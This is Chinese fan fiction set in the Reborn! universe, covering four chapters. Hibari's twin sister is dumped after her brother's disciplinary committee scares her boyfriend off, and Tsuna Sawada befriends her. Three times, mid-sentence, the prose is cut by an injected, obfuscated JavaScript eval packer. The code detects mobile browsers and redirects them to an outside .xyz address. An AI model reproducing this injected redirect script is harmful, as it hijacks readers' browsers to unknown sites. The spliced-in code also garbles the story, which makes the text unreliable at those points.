《[家教]哥哥是并盛大魔王》 1. 被撞见的意外 “京弥,对不起!” 如往常一样被塞了别人的值日,只是中途去洗了把手,沢田纲吉刚走到教室门口,听到的就是这样一句话。 从开头来看,里面的人似乎在进行很重要的对话。 他犹豫了一下,还是决定后退几步,在走廊里等候片刻。 “对不起?”那是一道轻柔的女声。她重复了一遍,仿佛很困惑一般,“怎么了,凉介。是发生什么事了吗?” “……” 沉默。 里头发生的交谈实在很吸引人的注意,即使打定主意不去偷听,两人的对话还是罔顾意志地传到他的耳中。 是京弥和高桥同学啊。 话说,之前就有传言说这两个人在交往,虽然只是小范围的传播了几天,但是现在看来,莫非是真的…? 抱着这样的心情,沢田纲吉有些好奇地从窗户外探了一眼。 男生的脸色有些微妙,混杂着内疚、耻辱、不甘等种种情绪,仿佛正在酝酿什么难以启齿的话。 与之相对的,是素来冷静的京弥同学。 虽然在心底说的是“京弥”,但其实沢田纲吉与她几乎没有交集,只是因为下意识地忌惮她的姓氏,所以才用了名字作为称呼。 “其实、是因为云雀学长。” 就在这时,踌躇许久的高桥凉介终于下定决心,开了口。 “昨天放学风纪委员找上我,和我说,‘既然要和云雀小姐在一起,就要做好面对委员长与风纪委员的觉悟’,然后把我带到了风纪委员的接待室,直面了云雀学长……” 呜哇! 躲在走廊的沢田纲吉露出了惊恐的表情。 和京弥同学在一起、居然还要被风纪委员威吓吗!这也太恐怖了……! 紧接着,便听见云雀京弥轻声问:“哥哥和你说了什么?” 她微微低着头,神色隐没在额发之下,看不出作何感想。 高桥凉介有些惶恐地摇了摇头,极为刻意地忽略了这个话题。 “总之,真的很抱歉,京弥。我想,我们之间还是——” “嗯,分手吧。” 想说出口的话被堵在嘴边,前男友微微一愣,张了张口,似乎还想说什么。 云雀京弥略一抬眸,不咸不淡地望了他一眼。 “我同意你的分手请求了。”她说,“现在,请离开教室,回家吧。” “……” 有那么一时半刻,她的表情被笼罩在阴影之下,看起来几乎有些吓人。 高桥凉介下意识地点点头,带着一点困惑与恍惚,打开教室前门,转身,关上,沉默地离开了。 云雀京弥叹息一声,从座位上站起身,抬手打开窗户,坐到课桌边缘,感受着微风拂过发丝。 ……从确认关系到分手,居然只用了三天。 之前最短的一段恋爱好歹还维持了一周,这次算是打破纪录了吧……啊啊,开什么玩笑,她被风纪委员诅咒了吗。 这样想着,她有些烦躁,右手不自觉地伸进外套口袋,从中摸出一支烟来。 之前因为帮了点小忙,国三的学姐一边感谢一边说着“你的表情很苦闷或许需要这个喔”,于是口袋里被塞了一盒女士香烟,现在看来,学姐的话说不定还真有点道理。 明明无论是学习还是人际交往、都费尽心思去做到完美了,却总是在刚有起色的时候,被“云雀”这个姓氏以莫名其妙的方式束缚住。 反抗永远不会有结果,隐忍也不会迎来转机……啧。 这样想着,她又从后桌抽屉里摸出打火机,“啪”的,在火光里点燃了香烟,正打算试着咬下—— “吱呀”一声,后门开了。 紧接着,是男生的短促的惊呼: “呃——云、云雀同学!” 云雀京弥:“……” 沢田纲吉:“……” 细长的香烟还夹在食指与中指之间,她微微一怔,随即飞速掐灭了烟。 “啊,是沢田君啊。”她若无其事地说,“有什么事吗?” “……” 点了烟吧,刚刚是点了烟吧!不,不如说到现在为止都还是夹着烟半靠在课桌上的、很不好惹的不良少年的姿势……居然还能装作无事发生吗! 不过、京弥同学的表情,似乎不太开心。 沉默片刻,他还是小心翼翼地询问道:“云雀同学,没事吧…?” 话说回来,他刚刚好像目击失恋现场了啊。 而且京弥同学,平日里一向是那种自尊心超强的优等生啊…… “没事哦。” 果然被敷衍了。 心里略微有点庆幸,还好没有被卷入什么麻烦的怪事里。 紧接着,便听见云雀京弥说: “只不过是因为哥哥的超强控制欲导致从小到大没有一次恋爱时长超过一个月、新交上的很喜欢相貌的高桥更是在三天之内就被风纪委员恐吓而被迫分手,这样就算了一会儿回家说不定还会被云雀恭弥冷嘲热讽说什么‘这就是你看上的人吗眼光好差’之类欠揍的话,于是一气之下拿出了学姐送的烟结果刚点上还没抽就被班上的倒霉鬼撞见,来保持着超级好学生的人设就已经很吃力了还要面对这种糟心烂事,只不过是这种程度的挫折罢了……” 沢田纲吉:“……” 不,听语气已经可以说是相当大的挫折了吧…… 还有、那个倒霉鬼说的是我吧!居然当着本人的面这么说吗! 他心中升起汹涌的吐槽欲,很快又被对云雀这一姓氏的畏惧所压下。 【其实也不是不能理解啦……如果换作是我,被风纪委员警告之后肯定也不敢再靠近京弥同学一步的。毕竟是那个风纪委员会啊!】 虽然是这样想着,但站在云雀京弥本人的角度想,似乎也是相当凄惨啊。 一年级的男生私下里也流传着“想让她当女朋友的同学排名”,除了大家一致认同的校园偶像笹川京子之外,提名最多的就是如高岭之花一般的云雀京弥了,尽管沢田纲吉并不赞同这种排名的存在,但从受欢迎的程度来看,京弥同学显然不应该就这样轻易被分手的。 窥探到校园风云人物不为人知的一面,他心中浮现出一种极不应当的、微妙的窃喜。 在这种奇异情绪的驱动下,沢田纲吉鼓起勇气,有些磕巴地安慰道: “云、云雀同学很受大家欢迎,所以之后一定会遇到比高桥同学更适合的人的……那个,今天的事,我也会装作没看见的!” 云雀京弥沉默片刻,和颜悦色道:“谢谢你啊,沢田君。” 随后,她拿起课桌上的背包,顺手将烟扔进教室前门的垃圾桶,准备离开。 路过黑板一角张贴着的值日表时,京弥脚步微微一顿。 周二的值日生……吉田葵? 隐隐约约有点印象。似乎是因为经常开女生的低俗玩笑、喜欢打压人,在班上风评很差劲。 她不动声色地将这个名字记下来,转头看向沢田纲吉,冲他点了点头,算是告别,顺带提醒道: “值日结束后你也早点回家吧,今天放学会有风纪委员校内巡逻,逗留太久会被盘问的。” “啊,好的…!” - 回到家的时间比平时晚了半个小时。 打开门的时候,兄长已经吃完了晚餐,正拿着手帕,慢斯条理地擦拭着他的浮萍拐。 等我换上拖鞋,他才勉为其难地抬起眼,淡淡地说:“今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189405|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚了三十分钟,京弥。” “什么‘今天晚了三十分钟’……平时到家的时间也根本不是固定的吧。”我吐槽,“而且你对自己做的事情一点印象都没有吗?我会在学校逗留根本就是因为风纪委员啊。” “哦。”云雀恭弥略一扬眉,不咸不淡地问,“那个人找你麻烦了?” “不是找麻烦啦……反正就是道歉什么的。”我随口回答。 本来想就这件事找他点麻烦的,不过老实讲,我和高桥凉介才交往三天,实在称不上情深义重……而且回家路上我的气勉强算是消了个七七八八,加上兄长也没有欠揍地说“眼光真差”之类的风凉话,我决定暂且放下这个令人不爽的话题。 于是我没有继续说什么,趿拉着拖鞋,在餐厅门口往里探了下头,“哇,今天是寿喜烧。” “你前天一直说想吃,就让家政做了。” 本想说两句好话回应一下,但今天心情属实一般(显然原因就是他本人) 。 尽管决定不讨论分手相关的话题,我还是撇了撇嘴,试图以简短的回复表达自己的不满: “喔。” 讨人厌的兄长无视了我的情绪,闻言只是瞥了我一眼,相当漠然地站起身,抛下一句“牛奶在冰箱记得喝”,便拿着他的浮萍拐上楼了。 头也没回。 我:“……” 唉。 我忍不住在心底叹气。 说是孪生的同胞兄妹,但我能大致了解他心事也不过是在国小时期。尤其后来我生了场病,耽误了国中的入学时间,没能和恭弥在同一年级,缺乏相同的经历,有时候便更加琢磨不出他的想法了。 正如现在。 我困惑于兄长对我奇怪的、微妙的控制欲,正如他似乎也不理解我因此而产生的种种情绪。 学校里偶尔也有流言,说风纪委员长是太关心妹妹才会严格筛查她的交往对象……不过在我看来,会做出这种行为,更多还是因为兄长自身的脑回路不太正常。 ——毕竟他可是看到“扰乱风纪”的人就会提拐上去揍一顿的恐怖国中生啊。 不过,说到这里…… 今天放课后遇到的沢田,虽然平时没什么存在感,但意外的是个很不错的人。 已经好几次看到他留下来做值日了……明明不是他该负责的东西。 之前也是,放学后去办公室问了老师两道题目,回来收拾东西时发现沢田还在做值日;偶尔一两次留在教室等兄长处理完风纪委员会的事务,也总是沢田纲吉在打扫卫生。 偶尔也听到有同学叫他“废柴纲”,这种称呼侮辱性有点强吧?真亏他忍得下来。 嗯……既然他愿意为我保守一点小秘密,我也不介意帮他一把。 想了想,我把从冰箱里拿出的牛奶瓶随手放到茶几上,三步并作两步地爬上楼,敲了敲云雀恭弥的卧室门。 “恭弥、恭弥——喂喂?云雀恭弥先生?” 门没开。 我:“……” 这个小心眼的混蛋。 我深吸一口气,又敲了两下,面无表情道:“哥哥。” 过了大概半秒,“咔哒”一声,门从里面打开了。 云雀恭弥:“什么事?” 他看起来像是刚脱下校服背心,只穿了一件白衬衫,正双手环臂,斜靠在门框边,居高临下地看着我。 我感觉自己额角似乎蹦出一道青筋。 “学生推脱值日、把工作推给同学也算违反校规吧?明天早上和你借几个人。” “喔。”他不冷不热地应了一声,打了个哈欠,不感兴趣地说,“又要去给小动物打抱不平了吗。” “比你整天乱揍学校的‘草食动物’好吧。” 2. 顺便解救 我跟云雀恭弥的矛盾永远持续不到第二天。 倒不是因为跟他关系有多好……只是这家伙在“无视他人情绪”这个领域,实在是太有造诣了,以至于即使我被他惹得一脑门火,也只能对着虚空发脾气。 因此,我只是将“被高桥凉介分手”这项耻辱事宜默默列入复仇手册,以待来日。 往好处想,至少兄长并不介意我狐假虎威,颇为大方地派了五六个风纪委员跟在我身后,方便我对沢田纲吉进行报恩。 ——于是事情就变成了现在这样。 如往常一样,在迟到前五分钟抵达校门口的我,身后还辍着两排面容肃穆的飞机头。他们穿着风纪委员会特供的黑色外套,双手背在身后,昂首挺胸,气势汹汹。 我往前一步,风纪委员跟一步。 周遭传来了其他路过学生的窃窃私语,男生与女生的声音混杂在一起,听不太清,只是隐隐有关于“那个云雀”的讨论。 高桥凉介——疑似被风纪委员恐吓后火速与我分手的前男友,此时正背着包,脸色难看地走在一边。 从表情上来看,他大概以为这是针对他的打击报复…… “需要帮忙吗,大小姐?” 身后的风纪委员显然也认出了高桥,于是微微低头,在我耳边小声问道。 “……大小姐这个称呼太丢脸了吧,下次请正常一点。” 我露出了死鱼眼,在对方“不愧是大小姐低调做人真是太有深度了”的崇敬目光中,顿了一顿,还是说: “算了,还是别找高桥麻烦了。” 毕竟是恭弥自己上去恐吓人家的。这家伙恶名在外,还动不动就爱揍人,换谁来都得紧张一下,高桥没做到威武不屈,实在不是他的错。 于是我将目光从他身上匆匆移开,扫视了一圈人群,正打把那个推诿任务、霸凌同学的周二值日生吉田揪出来,准备杀鸡儆猴,却听见身后一阵细碎的脚步声。 我忍不住皱起眉,扭头一看,居然又是高桥凉介。 他微微低着头,嘴唇紧抿,看起来有些紧张。 在我开口之前,身后的风纪委员已露出戒备的神色,伸出手,把我挡住,冷声问:“你要做什么?” 他们的身高与飞机头本身就极有压迫感,加上人数优势,高桥的腿已经开始有些颤抖了。 随后,我看见他深吸一口气,猛地俯身,就这样,维持着有些苦闷的神情,朝我深深地鞠了一躬。 “很抱歉辜负了你,京弥!!!” 他紧闭双眼,大声道。 我愣了一愣,下意识道:“什么?” 高桥又道:“请原谅我的负心!!” 周围的学生本就观察着此处,闻言更加兴奋,纷纷与身旁的人低声交谈……我甚至看见有人拿起手机在拍照。 “是云雀和高桥!我就说他们之前走得很近吧……” “那个男生说的是什么意思?‘那个云雀’居然也会被辜负吗?” “那几个风纪委员也是云雀恭弥派过来的吧,给妹妹找场子的?呜哇,真是——” 流言蜚语一瞬间从四面八方袭来,我不由自主地后退一步,想避开那些或好奇或窥探的视线。 “……” 有那么一瞬间,我几乎想抱着书包落荒而逃,再也不管什么人设或体面。 人遇到不愿意面对的事情,第一反应都是逃避。 对于我来说,被议论是一件讨厌的事情,而如果那些人议论我时,怀抱着心情的是消遣、或者是隐约的恶意,那便更令人恐慌了。 我感受到自己手臂上不受控制地跳出了许多鸡皮疙瘩,看着深鞠躬着、疑似道德绑架的前男友,一时难以说出适宜的回应来。 然而,就在这时,我听到校门前,远远传来一阵高亢的喊叫: “——复活!!” 随后,仿佛特效电影中的场景,我看到一道瘦弱的身影,以不可思议的速度飞快向我的方向冲过来。 “拼死也要向京子告白!(顺便解救一下看起来很困扰的刚刚失恋了的京弥同学!)” 我:“……?” 后半句是什么……虽然语速很快但是我听得懂啊!这种奇怪的心声也要讲出来吗! 我开始怀疑自己是不是在做梦。 随后,我看见那道身影——直到这时我才发现、他不但没有穿衣服,前额还冒着奇异的火光——他飞快地掠过我面前,顺脚把高桥凉介踢到一边,然后在人群中一个女孩跟前停下了脚步。 高桥发出一声惊呼,居然就这样被他踹到远处、还摔了个跟头。 我和身后的六位风纪委员,表情木然地看着沢田纲吉裸奔到那个女孩面前。 “笹川京子,我喜欢你!!” 这时,我已经听到其他学生大声议论的声音了。 沢田纲吉不比我,在学校里常常因为课业成绩与体育能力,被同学戏称为“废柴纲”,加之他的性格温和到有些怯懦,因此路过的学生并不在乎自己议论他被本人听到。 “咦,这个人认真的?” “废柴纲受什么刺激了吗?居然连衣服都不穿了!” “啊啊逊毙了……” 留着橘色短发的少女先是一怔,随后睁大双眼,发出了“呀!”的惊呼,捂着脸扭身跑走了。 只留下赤.裸着上半身的沢田纲吉,迎风面对着众人的耻笑。 我眨了眨眼。 正如历史上众多伟人所说的,苦难若有人分担,便不再是完全的苦难。 在我已经足够局促的情况下,居然还有人比我更丢人现眼……总觉得心里宽慰了不少。 我回头,冲着风纪委员摇摇头 ,示意他们不要跟上来,便放轻了脚步,走到沢田纲吉旁边。 这时,他额前金红的火焰才缓缓熄灭,原本有些凶恶的下三白眼眨了一眨,又恢复了原本的温驯模样。 随后,仿佛是为了确认自己没有在做梦一样,他有些茫然地环顾了一圈四周,表情空白了一瞬……然后发出一声惨叫。 紧接着,他满脸痛苦地抱住了脑袋,开始在原地团团转,嘴里还碎碎念着什么话。 “我怎么就这样和京子表白了……大家一定会笑话我的啊!” 我:“……” 什么嘛,你居然知道后果吗。 沢田纲吉:“已经没脸再去见人了……都是那个小婴儿!啊啊…真是的,那家伙到底都做了什么啊!” 我:“小婴儿吗?” “就是那个自称家庭教师的奇——咦?!” 回答到一半的沢田纲吉猛然抬起头,瞪大眼睛看向我,结结巴巴地说,“京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189406|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、京弥同学?!” 我略微歪了下头,没想到他会称呼我的名字。 之前都是叫“云雀同学”的。 然而沢田纲吉似乎没有意识到这一点,相反地,他似乎想起了什么,再一次抱住了脑袋,如同被施加了某种无法停止吐槽的魔法似的,又开始小声念叨。 “对了……刚才好像还说着顺便给京弥同学解围那种奇怪的话来着,不会这也被本人听到了吧?!” “……” 总感觉还是装作没听到最好。 沉默片刻,我低下头,解开校服外套的纽扣。 “!?”沢田纲吉露出惊恐的眼神,看起来好像是在担忧我脱下外套是为了方便揍他一顿。 不知道做了怎样的心里斗争,这家伙闭上眼,咽了咽口水,又摆出一副视死如归的神情,目不转睛地盯着我上前。 在他紧张的目光之下,我脱下制服外套,递到他面前。 “因为偶尔需要在里面多添衣物,所以外套额外订了大一码的,男生穿应该没问题——披上吧,沢田君。” “……欸?” 沢田纲吉下意识地接过外套,怔怔地看着我。 我张了张嘴,刚想开口,便听到一道稚嫩的声音横插.进来。 “真正的绅士可不会拒绝女士的好意哦。” 我低下头,才发现沢田纲吉脚边不知何时出现了一个一身西服的小婴儿。 “Ciao su~” 注意到我略带困惑的目光,他仰起脸,露出了纯真的表情,黑漆漆的双眼注视着我,开口又是可爱稚嫩的声线: “我叫Reborn,是阿纲的家庭教师,正在为了把他培养优秀的家族首领而努力。” 我睁大眼:“居然有私下里偷偷请家教吗,沢田君。” 沢田纲吉:“……不对吧!比起这个不是更应该在意为什么这么小的孩子会自称家庭教师吗!还有家族首领这种东西也很奇怪吧!” Reborn一脚踢到他脸上:“少废话,把衣服穿上,在校门口赤身裸.体太不像黑手党的BOSS了。” 沢田纲吉倒吸一口凉气,吃痛地捂住脸,含泪道:“到底是因为谁才赤身裸.体的啊!” Reborn抬头望天:“哎呀,到底是谁呢……” 交谈间,沢田纲吉还是含泪套上了我大一码的制服外套。 时值春末夏初,换季期间常常会刮不小的风,我看见他上半身穿着外套(因为没有扭上纽扣,风吹的时候会露出一点皮肤),下半身却是宽松的短裤,不知道为什么,让人脑海中情不自禁地浮现出“欲盖弥彰”四个字……看起来更奇怪了。 帮人帮到底,我正想着要不要拜托带来的风纪委员,替沢田找一套备用的校服,忽然一种古怪的预感涌上心头,我下意识地回头。 ——带来的风纪委员们都开始对我挤眉弄眼。 鉴于他们平日的表情都很严肃,五官似乎都有点僵硬,我花了好一段时间才分辨出他们的用意,似乎是想提醒我,在身后有什么东西来了。 等等,有什么东西来了…? 恍惚间,我仿佛听到嘈杂的校门口传来了激昂的钢琴演奏声,空气中莫名其妙地浮现起紧张的氛围…… “委、委员长来了!” 我听到谁说。 3. 外套 云雀恭弥今天心情很糟糕。 负责早餐的家政一周前请了假料理家事,消息发来时他当时正忙于殴打路边群聚的小混混,收回浮萍拐的时候已经彻底忘记了。 ……因此,今天是没有人做早餐的。 当然,家政不在也没关系,他和京弥小时候多少也跟在管家屁股后面观察过她做饭,煎个鸡蛋不成问题。 于是他和妹妹选择了猜拳做饭。 妹妹的运气一向不怎么样。三局两胜之后,作为胜者的他打着哈欠坐回餐桌,却看见京弥脚步一绕,走到他背后,两手撑在他椅背后,小声说: “恭弥啊,告诉你一件事……” 他眼睛一斜:“嗯?” “今天有考试我要提前去教室,好像来不及做早餐了,下次家政课我给你带吃的,总而言之今天先吃面包片吧!” 她以一种不可思议的语速说完了这些话,飞快地从冰箱里拿了瓶椰汁扔进书包,又扔了一包吐司在他桌上,顺手从里头掏了两片,便逃也似的穿鞋走了。 云雀恭弥:“……” 他面无表情地盯着桌面上的吐司,又想起云雀京弥带走的似乎是最后一瓶椰奶,沉默片刻,握住了自己的浮萍拐。 - 不出意外的话,今天兄长心情应该不太好。 我下意识地向角落里靠拢了一下,拍了拍沢田纲吉的肩膀,压低了声音提醒他: “躲起来别被看见喔,平时说不定,但今天一定会被揍的。” 沢田纲吉缩了缩身子,和我一样往角落靠了靠,小心翼翼地觑了眼拎着浮萍拐走过来的云雀恭弥,随后也小声问:“云雀学长今天心情不好吗…?” 我说:“因为他没吃早饭。” “……”沢田纲吉不合时宜地露出了想要吐槽又非常畏惧的表情:“就因为这种事要来学校找人揍吗——咿,好恐怖!” “也不能这么讲吧,”我摸了摸下巴,思忖片刻,补充道,“严格来说,本来是要我去做早餐了,但是因为我骗哥哥说今天有考试要提前到校,还顺便把冰箱里最后的椰汁拿走了。他又被我骗又饿了肚子,所以才会这么生气吧。” 沢田纲吉惊恐地扭头看我:“……你是魔鬼吗!” 在我和沢田交谈的时候,云雀恭弥已经穿越了两边夹道欢迎的风纪委员,直直地向着我们走来了。 他先是看了我一眼,随后冷笑了一声,才移开视线,望向了我身旁瑟瑟发抖的沢田纲吉。 “不穿校服…裸奔吗?”云雀恭弥自上而下地扫视了他一番,慢悠悠地念出了(奇怪的)罪名,扬了扬眉,勾起一个充满危险的笑容,“哇哦,胆子不小嘛。” 随后,他又走进一步,垂眼看上了眼沢田外套上的铭牌。 沢田:“……” 我:“……” 毫无疑问,上面写着的是“云雀京弥”四个字。 沢田纲吉已经僵成了一根木棍,此时咔吧咔吧地将脑袋转向我。他明显已经预测到了不幸的后果,因而试图以眼神向我求救。 他看起来快碎了。 从结果来说,沢田同学帮我把讨人嫌的前男友一脚踹走,是帮了大忙;另一方面,我虽然很想表达谢意,但借了外套给他,似乎又引发了不必要的误会,反而给他添了麻烦。 想了想,我还是决定站出来。 “不穿衣服只是意……” “嗯?” 云雀恭弥从鼻腔里发出一声略显不耐的气因,眯起眼睛看向我,浮萍拐在日光下折射出刺眼的光鲜。 我:“……” 他狭长的凤眼里闪烁着寒光,面容冷漠,几乎是毫不犹豫地打断了我: “你还有什么要说的吗?京。” 生气了、绝对生气了,而且是超级生气那种。 这家伙平时可从来不会喊我“京”的啊! 我目光游移,欲退又止。 沢田纲吉含泪望向我……说起来、这家伙明明刚才还有余力吐槽来着,结果我哥一来就哑火了吗! 然而想起自己早晨犯下的恶行,又对上沢田可怜巴巴的视线,思来想去,我还是决定承担起自己的责任。 我费劲地举起书包,拿它抵住兄长落下的浮萍拐,挡在了沢田纲吉面前。 “严格来说,沢田同学是穿了校服的吧。” 在众人惊诧的视线当中,我微微顿了顿,才反驳说。 沢田纲吉:“……” “不,总感觉这个不是重点啊……”我听见他虚弱地吐槽。 我充耳不闻,对着兄长道:“而且哥哥,早上喝冰椰奶的话胃会不舒服的,我是为了你好喔。” 云雀恭弥冷哼一声,显然没有听信我的话,眼也不眨,抬起的拐子略一施力,将举着的书包打回我怀里。 然后,他再次举起浮萍拐…我感觉他的脸上已经出现了死神般的阴影。 我:“……” 还是逃不掉吗…啧,小心眼的云雀恭弥,下次家政课一定要在饭团里加巨量芥末带给他,盯着他吃到肚子里! 想是这么想,不过此时此刻,我只能紧闭双眼,微微偏过头,期待兄长的拐子不要划伤美少女的脸庞—— “还有五分钟上课。” “…?” 在心底默数三秒,拐子还没落下。 我试探性地睁开左眼,便看见恭弥略略抬起下巴,嘴角挂着一抹恶劣的浅笑。 大概算是“放你一马”的意思,他平静地垂下右手,居高临下地望了我一眼,示意我带着同学滚蛋。 “如果让我看见你迟到,你知道后果的,京弥。” “好、我上课去了!” 我在心里捏了把汗,一把抓过沢田纲吉,飞快逃离了现场。 沢田纲吉显然已经陷入疯狂的内心吐槽状态,逃出生天时居然没能反应过来,就这样顶着空白的神情,被我踉踉跄跄地带走了。 等到跑出云雀恭弥的视线范围,看到仍旧只穿着外套、一脸苦相的沢田纲吉,我才意识到现实的严峻。 第一,我原本是打算带着风纪委员去找吉田葵的麻烦、让他们那群人不要再随意推诿值周生的责任的。 可是此时此刻,我实在不敢原路返回,当着兄长的面去把那几位风纪委员找回来。 第二,尽管穿着我的外套,沢田纲吉毫无疑问地依然属于裸奔状态——尤其是他的小腿肚,似乎正在寒风里打颤。 且不说会不会着凉的问题,以这种状态进教室绝对会被围观嘲笑的…… 很显然,沢田纲吉和我想到一块去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189407|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “备用的校服还在家里啊……这个时候再从校门出去拿衣服一定会被揍的吧…!” 他满脸绝望地抱住脑袋,急得团团转,又碎碎念着什么“都怪Reborn”,虽然我暂时没弄明白他裸奔和那个小婴儿有什么关系。 不过,想到自己似乎帮了倒忙,我也有点歉疚,下意识地摸了摸鼻尖,有点不自然地道起歉来: “啊,原本想着你入口储物柜里可能会有能替换的备用校服,所以擅自拉着你跑了……抱歉,沢田君。” 他似乎有些惊讶,先是飞快地瞄了眼我,随后又埋下头不看我:“不,不是云雀同学的问题!是我……” 他越说声音越小,我注意到他的耳根有点发红,不确定是不是错觉。 他顿了顿,没有再继续这个话题,反而深吸了一口气,表情一瞬间居然严肃了下来。 “倒不如说,刚才云雀同学愿意站在我面前……我很感谢你。” 沢田纲吉认真地看着我。 我还从未受到过这样的感谢,一时有些不知所措,张了张嘴,不知说什么,只好转移话题,问他: “沢田君没有备用校服的话,运动服之类的有吗?” “没有喔。因为前天上学时被路边的吉娃娃追了,狂奔的时候不小心摔坏了衬衫,在学校换上运动服之后喝芬达又撒到身上了,所以今天才没有衣服可以换的。” 我:“……” 沢田纲吉:“……” 稚嫩的嗓音从火栓箱里响起。 我寻声望去,看见校园内的火栓箱“啪”的一声自动弹开,然后穿着黑色西服的小婴儿气定神闲地从里头跳了出来……顺带踹了沢田一脚。 “好逊呢,废柴纲。” 我眼睁睁地看着沢田纲吉耳根的红色蔓延到整张脸上,他堪称气急败坏地喊:“Reborn!” 天哪,他甚至没有吐槽Reborn为什么能从学校的火栓箱里跳出来! 我努力压下(因为确实觉得沢田君有点好笑而忍不住)翘起的嘴角,假装没有听到刚才的对话,漫无边际地想着这孩子是怎么能从火栓箱里跳出来的、哥哥知道了会不会偷偷生气。 然而很快地,Reborn便转头看向我,黑漆漆的眼睛里看不出心绪,他勾起一个笑容,声音天真: “既然如此,就和京弥去风纪委员的部活室,看看能不能借到多余的校服吧。” 沢田纲吉:“你不要擅自麻烦云雀同学啊!” “那你愿意吗,云雀京弥?”Reborn睁大眼睛望向我。 我摸了摸下巴:“嗯……刚好我找风纪委员有点事,这样也好。” 沢田纲吉微妙地沉默了片刻,随后露出了“啊想起来了她居然是云雀恭弥的妹妹来着”这样恍然大悟的表情。 我:“……” “不要想很失礼的事情啊。” 我微微抬起下巴,身上气息一敛,眯起眼睛看向他,拉长了声音,幽幽道: “咬杀你哦。” “咿——!” 我亲眼看见沢田纲吉身上争先恐后地蹦起了鸡皮疙瘩。 他寒毛直竖,盯着我,似乎是下意识地后退了一步,惊声道:“云、云雀学长!” 我:“噗——” 4. 大小姐 所谓的“风纪委员部活室”,其实就是学校的接待室。 据知情人士称,接待室有着超级豪华的柔软沙发、质感厚重的木制办公桌,乃至一看就价格不菲的落地盆栽,完全不是一个普通的学生部门应该有的部活室水准。 沢田纲吉私下里曾偷偷怀疑过,云雀前辈是不是曾经威胁过校长什么的,否则很难解释风纪委员会能有这样的权力。 望着京弥轻车熟路推开门的背影,他放缓了脚步,有些踌躇地停在了接待室门口,不自觉开始胡思乱想起来。 说起来,明明平时和她几乎没有交流,却因为如此丢脸的事情和京弥同学产生了交集,现在还给要麻烦她来帮忙借制服,总觉得些内疚。 和自己这样的人走在一起,会不会给她带来麻烦呢? 这样想着,便丧失了踏入接待室的勇气。 “还是云雀同学先进去吧,”他挠了挠脸,说,“我的话,在外面等着就好了…?” 京弥同学有些诧异地回头看他。 这个有着云雀姓氏的女孩子,虽然和风纪委员长有着同样典雅优美的面容,但性格却与她的兄长大相径庭。 看着自己有些局促的神情,她似乎意识到了什么,神色略微柔和了一些,弯起眼睛,对着他露出一个浅淡的、带有安抚意味的笑容。 而后,她温和地说:“你胆子很小呢,沢田君。” 沢田纲吉:“……” …顶着温柔的表情说出了很恶劣的话! 鉴于自己一早就以裸奔的姿态被她看见,刚刚又被Reborn揭了老底,沢田纲吉已经放弃了对尊严的维护,有气无力地应声说: “是是,我就是这样的人啦。” 不过,这也不能全怪他。作为每天都在校门口目睹云雀学长痛殴挑衅者(是真的在挑衅还是被他看不顺眼存疑)的普通并中学生,想若无其事地踏足风纪委员的地盘,真的需要不小的勇气。 更何况他是胆小软弱的“废柴纲”啊。 然而,等了半晌,没有等到云雀京弥嘲讽的声音。 沢田纲吉有些不确定地抬头看了一眼,便见京弥同学双手环臂,面容严肃地盯着他看。 这个时候,她与云雀学长八分相似的面庞几乎要重叠在一起,出于对风纪委员的畏惧,沢田纲吉下意识地打了个寒噤。 “怎、怎么了?” “不要摆出这副丧家之犬的样子。”云雀京弥说,“你可是掌握了我秘密的男人,如果一直这么颓废我也会很丢脸的,请振作起来。” 虽然语气很严肃,但说出来的话实在是很奇怪。他情不自禁地想要吐槽: “所以知道云雀同学的秘密和我是怎么样的人根本没有关系吧……还有居然当着本人的面用丧家之犬来形容吗!” “……”云雀京弥不动声色地理了理发尾,表情又回到了平日里的冷淡矜持,“那我就先进去了喔,不会让你等太久的。” “因为被吐槽而直接无视我转移了话题啊!” 京弥同学回头冲他笑了一下,似乎心情不错地摆了摆手,走进接待室。 “好了,等着吧。” 不知怎么地,沢田纲吉的内心也略微安定下来了。 在云雀京弥进入接待室之后,他终于有时间来反刍一下自己这两天经历过的事情了。 先是被吉田交付了剩下半个学期的值日任务……算了,反正也不是第一次,无所谓了啦。 然后是目睹学校的风云人物云雀京弥被男友分手、第二天早晨就被奇怪的小婴儿告知自己是黑手党的继承人,被开了一枪然后裸奔着向京子告白,导致自己到现在还没有衣服穿,只能拜托昨天才开始有交集的京弥同学去风纪委员会借校服……呜哇,这么一想自己的人生也太失败了…… 不过话说回来,京弥同学本人、倒不像看起来那样有距离感。 想起校内流传着的“接近京弥同学就会被风纪委员严查”“惹恼云雀京弥的人第二天会被暴揍”“京弥同学根本就是女版云雀”之类的诡异传言,他忍不住缩了缩脖子,然后又觉得匪夷所思。 